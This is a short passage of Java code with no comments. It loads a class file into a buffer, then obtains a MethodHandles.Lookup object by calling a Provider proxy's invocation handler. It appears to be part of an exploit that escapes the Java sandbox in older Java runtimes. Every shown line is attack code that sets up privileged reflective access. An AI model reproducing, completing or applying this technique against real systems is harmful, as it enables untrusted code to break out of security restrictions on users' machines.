while ((classLength = inputStream.read(classBuffer)) > 0)
classInputStream.write(classBuffer, 0, classLength);
classBuffer = classInputStream.toByteArray();
ProviderFactory fac = ProviderFactory.getDefaultFactory();
Provider p = fac.createProvider(ExpProvider.class);
invoc = Proxy.getInvocationHandler(p);
Class handle = java.lang.invoke.MethodHandles.class;
Method m = handle.getMethod("lookup", new Class[0]);
look = (MethodHandles.Lookup) invoc.invoke(null, m, new Object[0]);